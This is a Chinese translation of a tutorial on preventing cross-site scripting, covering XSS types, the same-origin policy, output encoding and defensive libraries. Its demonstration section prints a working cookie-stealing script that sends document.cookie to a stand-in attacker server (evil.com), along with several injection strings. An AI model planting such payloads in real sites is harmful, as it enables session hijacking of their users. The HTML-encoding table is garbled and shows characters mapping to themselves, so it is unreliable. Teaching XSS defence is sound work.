如何防止跨站點(diǎn)腳本攻擊
1. 簡(jiǎn)介
跨站點(diǎn)腳本(XSS)是當(dāng)前web應(yīng)用中最危險(xiǎn)和最普遍的漏洞之一。安全研究人員在大部分最受歡迎的網(wǎng)站,包括Google, Facebook, Amazon, PayPal等網(wǎng)站都發(fā)現(xiàn)這個(gè)漏洞。如果你密切關(guān)注bug賞金計(jì)劃,會(huì)發(fā)現(xiàn)報(bào)道最多的問(wèn)題屬于XSS。為了避免跨站腳本,瀏覽器也有自己的過(guò)濾器,但安全研究人員總是能夠設(shè)法繞過(guò)這些過(guò)濾器。
這種漏洞(XSS)通常用于發(fā)動(dòng)cookie竊取、惡意軟件傳播(蠕蟲(chóng)攻擊),會(huì)話劫持,惡意重定向。在這種攻擊中,攻擊者將惡意JavaScript代碼注入到網(wǎng)站頁(yè)面中,這樣”受害”者的瀏覽器就會(huì)執(zhí)行攻擊者編寫的惡意腳本。這種漏洞容易找到,但很難修補(bǔ)。這就是為什么你可以在任何網(wǎng)站發(fā)現(xiàn)它的身影。
在這篇文章中,我們將看到跨站腳本攻擊是什么以及如何創(chuàng)建一個(gè)過(guò)濾器來(lái)阻止它。我們還將看到幾個(gè)開(kāi)源庫(kù),將幫助你修補(bǔ)在web應(yīng)用程序中的跨站腳本漏洞。
2. 跨站點(diǎn)腳本是什么?
跨站點(diǎn)腳本攻擊是一種Web應(yīng)用程序的攻擊,攻擊者嘗試注入惡意腳本代碼到受信任的網(wǎng)站上執(zhí)行惡意操作。 在跨站點(diǎn)腳本攻擊中,惡意代碼在受影響用戶的瀏覽器端執(zhí)行,并對(duì)用戶的影響。也被稱為XSS攻擊。你可能有一個(gè)疑問(wèn)就是為什么我們叫它”XSS”,而不是”CSS”。
對(duì)于廣大的web程序猿來(lái)說(shuō)。在網(wǎng)頁(yè)設(shè)計(jì)中,我們已經(jīng)把級(jí)聯(lián)樣式表叫做CSS。因此為了避免混淆,我們把cross-site scripting稱為XSS。
現(xiàn)在,讓我們回到XSS攻擊。這個(gè)漏洞發(fā)生在網(wǎng)站應(yīng)用程序接收用戶的輸入數(shù)據(jù)卻沒(méi)有做必要的編碼。如果對(duì)用戶輸入的數(shù)據(jù)沒(méi)有進(jìn)行正確的編碼和過(guò)濾,這個(gè)被注入惡意腳本將被發(fā)送給其他用戶。 對(duì)瀏覽器來(lái)說(shuō),它沒(méi)有辦法知道它不應(yīng)該相信一個(gè)腳本的合法性。瀏覽器會(huì)正常地把這個(gè)腳本當(dāng)成普通腳本執(zhí)行,這個(gè)時(shí)候惡意的操作就不可避免的發(fā)生了。大部分的時(shí)候,XSS是用來(lái)竊取cookie,或竊取有效用戶的會(huì)話令牌session,以此進(jìn)行會(huì)話劫持。#p#
3. XSS的演示
Example 1:
幾乎所有的網(wǎng)站上看到一個(gè)搜索框。有了這個(gè)搜索框,你可以搜索并找到在網(wǎng)站上存放的資料。這種搜索形式看起來(lái)像這樣
<form action="search.php" method="get"> <input type="text" name="q" value="" /> <input type="submit" value="send" /> </form>
在search.php頁(yè)面中,代碼顯示了搜索的結(jié)果,并且列出了用戶輸入的搜索關(guān)鍵字。形式如下:
“Search results for Keyword”或者”You Searched for Keyword”
search.php可以這么寫來(lái)模擬功能:
<h3>You Searched for: <?php echo($_GET['q']); ?>
無(wú)論你輸入任何關(guān)鍵字,它將隨搜索結(jié)果一起被顯示在網(wǎng)頁(yè)上?,F(xiàn)在想想會(huì)發(fā)生什么,如果一個(gè)攻擊者試圖從這個(gè)地方注入以下惡意腳本。
<script>alert('XSS injection')</script>
可以看到,因?yàn)槿鄙賹?duì)用戶輸入的有效的”編碼”和”過(guò)濾”。導(dǎo)致了XSS攻擊的發(fā)生,其實(shí)從本質(zhì)上理解,XSS就是一種HTML的注入,和傳統(tǒng)的buffer overflow是類似的思想,即沒(méi)有對(duì)數(shù)據(jù)和代碼進(jìn)行有效的分離,在緩沖區(qū)溢出總,攻擊者在通過(guò)超長(zhǎng)的數(shù)據(jù)包發(fā)送覆蓋了程序buffer的關(guān)鍵返回ret位置,導(dǎo)致CPU控制流的劫持,錯(cuò)誤地把攻擊者數(shù)據(jù)當(dāng)作代碼來(lái)執(zhí)行,最后導(dǎo)致了緩沖區(qū)溢出。
而XSS中的HTML注入也是一種利用代碼和數(shù)據(jù)未有效分離的攻擊,只不過(guò)攻擊發(fā)生在受害者用戶的瀏覽器上,攻擊者將數(shù)據(jù)發(fā)送給服務(wù)器,服務(wù)器沒(méi)有對(duì)輸入的數(shù)據(jù)進(jìn)行有效的”編碼”和”過(guò)濾”(即去除數(shù)據(jù)本身的代碼特性,對(duì)于HTML來(lái)說(shuō)就是去除它們稱為Tag標(biāo)簽的可能),導(dǎo)致了這些數(shù)據(jù)在用戶的瀏覽器上得到執(zhí)行,最終導(dǎo)致XSS攻擊的發(fā)生。
Example 2:
很多網(wǎng)站都有私信或者留言板功能。登錄用戶可以發(fā)表評(píng)論或者給其他用戶(包括管理員)發(fā)送私信。一個(gè)最簡(jiǎn)單的模擬表單如下:
<form action="sendmessage.php" method="post'"> <textarea name="message"> </textarea> <input type="submit" value="send" /> </form>
當(dāng)用戶點(diǎn)擊發(fā)送時(shí),這條消息會(huì)被保存在數(shù)據(jù)庫(kù)中指定的數(shù)據(jù)表中,另一個(gè)用戶當(dāng)打開(kāi)這條消息的時(shí)候?qū)⒖吹桨l(fā)送的內(nèi)容。但是,如果一個(gè)惡意攻擊者發(fā)送的內(nèi)容包含了一些javascript代碼,這些代碼用于偷取敏感的cookie信息。當(dāng)用戶打開(kāi)看到這條消息的時(shí)候,惡意的javascript代碼就會(huì)得到執(zhí)行,造成敏感cookie信息泄漏。攻擊者可以利用獲得這些cookie信息進(jìn)行session hijacking會(huì)話劫持,直接以合法用戶的身份登錄其他用戶的賬戶。
惡意攻擊者可以在消息框中加入一下javascript代碼:
var url = "http://www.evil.com/index.php"; //攻擊者控制的服務(wù)器 var postStr = "ck=" + document.cookie; var ajax = null; if(window.XMLHttpRequest()) { ajax = new XMLHttpRequest(); } else if(window.ActiveXObject) { ajax = new ActiveXObject("Microsoft.XMLHttp"); } else { return; } ajax.open("POST", url, true); ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); ajax.send(postStr); ajax.onreadystatechange = function() { if(ajax.readyState == 4 && ajax.status == 200) { //alert("Done!"); } }
通過(guò)AJAX異步請(qǐng)求,將被攻擊者的敏感cookie信息發(fā)送給了攻擊者控制的服務(wù)器。攻擊者隨后即可利用這些cookie信息以”合法”用戶的身份進(jìn)行登錄操作。
這里首先要理清楚幾個(gè)重要的問(wèn)題:
1. cookie的作用
Cookie,有時(shí)也用其復(fù)數(shù)形式Cookies,指某些網(wǎng)站為了辨別用戶身份、進(jìn)行session跟蹤而儲(chǔ)存在用戶本地終端上的數(shù)據(jù)(通常經(jīng)過(guò)加密)。定義于RFC2109(已廢棄),最新取代的規(guī)范是RFC2965。
也就是說(shuō),cookie是用戶和服務(wù)器之間的橋梁。服務(wù)器可以使用session來(lái)保存用戶的身份信息(ID,購(gòu)物車等),但是需要用戶在訪問(wèn)網(wǎng)頁(yè)(發(fā)送HTTP數(shù)據(jù)包)的時(shí)候附帶上相應(yīng)的cookie,通過(guò)cookie中的特定值來(lái)識(shí)別sessionID,才能把單獨(dú)用戶和單獨(dú)的session聯(lián)系起來(lái)。cookie是有狀態(tài)HTTP交互的一種重要機(jī)制。
2. 瀏覽器的同源策略
在進(jìn)行cookie竊取的時(shí)候,攻擊者偷取的cookie是什么,是全部cookie,還是當(dāng)前這個(gè)網(wǎng)站的cookie?要解決這個(gè)問(wèn)題,我們要先了解一些瀏覽器的同源策略。
同源策略,它是由Netscape提出的一個(gè)著名的安全策略。 現(xiàn)在所有支持JavaScript 的瀏覽器都會(huì)使用這個(gè)策略。 所謂同源是指,域名,協(xié)議,端口相同。 當(dāng)一個(gè)瀏覽器的兩個(gè)tab頁(yè)中分別打開(kāi)來(lái) 百度和谷歌的頁(yè)面 當(dāng)瀏覽器的百度tab頁(yè)執(zhí)行一個(gè)腳本的時(shí)候會(huì)檢查這個(gè)腳本是屬于哪個(gè)頁(yè)面的, 即檢查是否同源,只有和百度同源的腳本才會(huì)被執(zhí)行。
同源策略(Same Origin Policy)是一種約定,它是瀏覽器最核心也是最基本的安全功能,如果缺少了同源策略,則瀏覽器的正常功能可能都會(huì)受到影響??梢哉f(shuō)web是構(gòu)建在同源策略的基礎(chǔ)之上的,瀏覽器只是針對(duì)同源策略的一種實(shí)現(xiàn)。
瀏覽器的同源策略限制了來(lái)自不同源的”document”或腳本,對(duì)當(dāng)前”document”的讀取或者設(shè)置某些屬性。為了不讓瀏覽器的頁(yè)面行為發(fā)生混亂,瀏覽器提出了”Origin”(源)這以概念,來(lái)自不同的Origin的對(duì)象無(wú)法互相干擾。
因?yàn)橥床呗缘脑颍簿蛯?dǎo)致了我們的XSS Payload(XSS攻擊代碼)必須在我們希望攻擊的同一個(gè)域下觸發(fā)。例如攻擊者如果想竊取在www.a.com下的cookie,那就必須在www.a.com這個(gè)域(可以是不同頁(yè)面,但要保證是同一個(gè)域)下的的某一個(gè)頁(yè)面放置XSS代碼,可以是存儲(chǔ)型,也可以是反射型或DOM Baesd型的。#p#
4. XSS攻擊的種類
對(duì)XSS的分類沒(méi)有明確的標(biāo)準(zhǔn),但業(yè)界普遍將XSS攻擊分為三類。反射型XSS(non-persistent XSS), 存儲(chǔ)型XSS(persistent XSS), DOM Based XSS
4.1 非持久性跨站點(diǎn)腳本攻擊
非持久性XSS也稱為反射型跨站漏洞。它是最常見(jiàn)的類型的XSS。漏洞產(chǎn)生的原因是攻擊者注入的數(shù)據(jù)反映在響應(yīng)中。如果你看了我們上面所示的例子,第一個(gè)例子是一個(gè)非持久的XSS攻擊。一個(gè)典型的非持久性XSS包含一個(gè)帶XSS攻擊向量的鏈接(即每次攻擊需要用戶的點(diǎn)擊)。
4.2 持久的跨站點(diǎn)腳本攻擊
持久型跨站點(diǎn)腳本也稱為存儲(chǔ)跨站點(diǎn)腳本。它一般發(fā)生在XSS攻擊向量(一般指XSS攻擊代碼)存儲(chǔ)在網(wǎng)站數(shù)據(jù)庫(kù),當(dāng)一個(gè)頁(yè)面被用戶打開(kāi)的時(shí)候執(zhí)行。每當(dāng)用戶打開(kāi)瀏覽器,腳本執(zhí)行。在上面的示例中,第二個(gè)例子就展示了一個(gè)持久的XSS攻擊。持久的XSS相比非持久性XSS攻擊危害性更大,因?yàn)槊慨?dāng)用戶打開(kāi)頁(yè)面,查看內(nèi)容時(shí)腳本將自動(dòng)執(zhí)行。谷歌的orkut曾經(jīng)就遭受到XSS。
4.3 基于dom的跨站點(diǎn)腳本攻擊
基于DOM的XSS有時(shí)也稱為type0 XSS。當(dāng)用戶能夠通過(guò)交互修改瀏覽器頁(yè)面中的DOM(Document Object Model)并顯示在瀏覽器上時(shí),就有可能產(chǎn)生這種漏洞,從效果上來(lái)說(shuō)它也是反射型XSS。
通過(guò)修改頁(yè)面的DOM節(jié)點(diǎn)形成的XSS,稱之為DOM Based XSS。
<script> function test() { var str = document.getElementById("text").value; document.getElementById("t").innerHTML = "<a href='" + str + "' >testLink</a>"; } </script> <div id="t"></div> <input type="text" id="text" value="" /> <input type="button" id="s" value="write" onclick="test()" />
在這個(gè)場(chǎng)景中,代碼修改了頁(yè)面的DOM節(jié)點(diǎn),通過(guò)innerHTML把一段用戶數(shù)據(jù)當(dāng)作HTML寫入到頁(yè)面中,這就造成了DOM Based XSS
' onclick=alert(/xss/) '
輸入后,頁(yè)面代碼就變成了:
<a href='' onclick=alert(/xss/) '' >testLink</a>
點(diǎn)擊這個(gè)新生成的鏈接,腳本將被執(zhí)行。
實(shí)際上,這里還有另外一種利用方式—除了構(gòu)造一個(gè)新事件外,還可以選擇閉合掉標(biāo)簽,并插入一個(gè)新的HTML標(biāo)簽:
'><img src=# onerror=alert(/xss2/) /><'
頁(yè)面代碼變成了:
<a href=''><img src=# onerror=alert(/xss2/) /><'' >testLink</a>
#p#
5. XSS漏洞產(chǎn)生的原因
跨站點(diǎn)腳本的主要原因是程序猿對(duì)用戶的信任。開(kāi)發(fā)人員輕松地認(rèn)為用戶永遠(yuǎn)不會(huì)試圖執(zhí)行什么出格的事情,所以他們創(chuàng)建應(yīng)用程序,卻沒(méi)有使用任何額外的代碼來(lái)過(guò)濾用戶輸入以阻止任何惡意活動(dòng)。另一個(gè)原因是,這種攻擊有許多變體,用制造出一種行之有效的XSS過(guò)濾器是一件比較困難的事情。
但是這只是相對(duì)的,對(duì)用戶輸入數(shù)據(jù)的”編碼”和”過(guò)濾”在任何時(shí)候都是很重要的,我們必須采取一些針對(duì)性的手段對(duì)其進(jìn)行防御。
6. 如何創(chuàng)造一個(gè)良好的XSS過(guò)濾器來(lái)阻止大多數(shù)XSS攻擊代碼
6.1 需要重點(diǎn)”編碼”和”過(guò)濾”的對(duì)象
The URL HTTP referrer objects GET parameters from a form POST parameters from a form Window.location Document.referrer document.location document.URL document.URLUnencoded cookie data headers data database data
防御XSS有一個(gè)原則:
以當(dāng)前的應(yīng)用系統(tǒng)為中心,所有的進(jìn)入應(yīng)用系統(tǒng)的數(shù)據(jù)都看成是輸入數(shù)據(jù)(包括從FORM表單或者從數(shù)據(jù)庫(kù)獲取到的數(shù)據(jù)),所有從當(dāng)前應(yīng)用系統(tǒng)流出的數(shù)據(jù)都看作是輸出(包括輸出到用戶瀏覽器或向數(shù)據(jù)庫(kù)寫入數(shù)據(jù))
對(duì)輸入的數(shù)據(jù)進(jìn)行”過(guò)濾”,對(duì)輸出數(shù)據(jù)進(jìn)行”編碼”。這里的”編碼”也要注意,必須針對(duì)數(shù)據(jù)具體的上下文語(yǔ)境進(jìn)行針對(duì)性的編碼。例如數(shù)據(jù)是輸出到HTML中的那就要進(jìn)行HtmlEncode,如果數(shù)據(jù)是輸出到j(luò)avascript代碼中進(jìn)行拼接的,那就要進(jìn)行javascriptEncode。
如果不搞清楚數(shù)據(jù)具體輸出的語(yǔ)境,就有可能因?yàn)镠tmlParser()和javascriptParser()兩種解析引擎的執(zhí)行先后問(wèn)題導(dǎo)致看似嚴(yán)密的”編碼”形同虛設(shè)。
6.2 HtmlEncode HTML編碼
它的作用是將字符轉(zhuǎn)換成HTMLEntities,對(duì)應(yīng)的標(biāo)準(zhǔn)是ISO-8859-1
為了對(duì)抗XSS,在HtmlEncode中要求至少轉(zhuǎn)換以下字符:
& --> & < --> < > --> > " --> " ' --> ' / --> / 在PHP中:
htmlentities
http://www.w3school.com.cn/php/func_string_htmlentities.asp
htmlspecialchars
http://www.w3school.com.cn/php/func_string_htmlspecialchars.asp
6.3 javascriptEncode javascript”編碼”
javascriptEncode與HtmlEncode的編碼方法不同,HtmlEncode是去編碼,而javascriptEncode更多的像轉(zhuǎn)義,它需要使用”\”對(duì)特殊字符進(jìn)行轉(zhuǎn)義。從原理上來(lái)講,這都符合編碼函數(shù)的一個(gè)大原則: 將數(shù)據(jù)和代碼區(qū)分開(kāi),因?yàn)閷?duì)于HTML Tag來(lái)說(shuō),我們對(duì)其進(jìn)行”可視化(轉(zhuǎn)換成可以見(jiàn)字符)”的編碼可以將數(shù)據(jù)和HTML的界限分開(kāi)。而對(duì)于javascript來(lái)說(shuō),我們除了要進(jìn)行編碼之外,還需要對(duì)特殊字符進(jìn)行轉(zhuǎn)義,這樣攻擊輸入的用于”閉合”的特殊字符就無(wú)法發(fā)揮作用,從而避免XSS攻擊,除此之外,在對(duì)抗XSS時(shí),還要求輸出的變量必須在引號(hào)內(nèi)部,以避免造成安全問(wèn)題。
escape()
http://www.w3school.com.cn/js/jsref_escape.asp
該方法不會(huì)對(duì) ASCII 字母和數(shù)字進(jìn)行編碼,也不會(huì)對(duì)下面這些 ASCII 標(biāo)點(diǎn)符號(hào)進(jìn)行編碼: * @ – _ + . / 。其他所有的字符都會(huì)被轉(zhuǎn)義序列(十六進(jìn)制\xHH)替換。
利用這個(gè)編碼函數(shù),不僅能防御XSS攻擊,還可以防御一些command注入。
7. 一些開(kāi)源的防御XSS攻擊的代碼庫(kù)
PHP AntiXSS 這是一個(gè)不錯(cuò)的PHP庫(kù),可以幫助開(kāi)發(fā)人員增加一層保護(hù),防止跨站腳本漏洞。 https://code.google.com/p/php-antixss/ xss_clean.php filter https://gist.github.com/mbijon/1098477 HTML Purifier http://htmlpurifier.org/ xssprotect https://code.google.com/p/xssprotect/ XSS HTML Filter http://finn-no.github.io/xss-html-filter/
原文地址:http://resources.infosecinstitute.com/how-to-prevent-cross-site-scripting-attacks/